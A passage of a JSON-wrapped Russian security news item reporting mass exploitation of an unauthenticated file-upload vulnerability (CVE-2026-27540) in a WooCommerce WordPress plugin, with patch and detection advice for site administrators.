\u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043c\u0443\u0434\u0430\u043a\u043e\u0432, \u0442\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 CVE-2026-27540 \u0432 \u043f\u0440\u0435\u043c\u0438\u0443\u043c-\u043f\u043b\u0430\u0433\u0438\u043d\u0435 WooCommerce Wholesale Lead Capture \u0434\u043b\u044f WordPress \u0432\u0441\u0435 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0440\u0435\u0430\u043b\u044c\u043d\u043e.\n\nDefiant \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0431\u043e\u043b\u0435\u0435 100 000 \u0430\u0442\u0430\u043a, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e CVE-2026-27540. \u041a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u044f\u0435\u0442 Wordfence, \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0432 \u0441\u0444\u0435\u0440\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0440\u0435\u0437\u043a\u043e \u0432\u043e\u0437\u0440\u043e\u0441\u043b\u0430 \u0432 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 4 \u043f\u043e 17 \u0438\u044e\u043d\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441 1 \u0438\u044e\u043b\u044f \u043f\u043e 30 \u0430\u0432\u0433\u0443\u0441\u0442\u0430.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u044b \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443, \u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u041f\u041e.\n\nCVE-2026-27540 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430 2.0.3.1 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 2.0.3.2 \u043f\u043b\u0430\u0433\u0438\u043d\u0430 WooCommerce Wholesale Lead Capture, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 20 \u0444\u0435\u0432\u0440\u0430\u043b\u044f.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u043b\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 PHP-\u0444\u0430\u0439\u043b\u043e\u0432, \u0438\u0437\u0443\u0447\u0430\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043a /wp-admin/admin-ajax.php, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0445 wwlc_file_upload_handler, \u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 Wordfence \u0432 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a IP \u0432 \u0447\u0435\u0440\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 2.0.3.2 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439.", "creation_timestamp": "2026-09-18T10:00:06.509387Z"}]}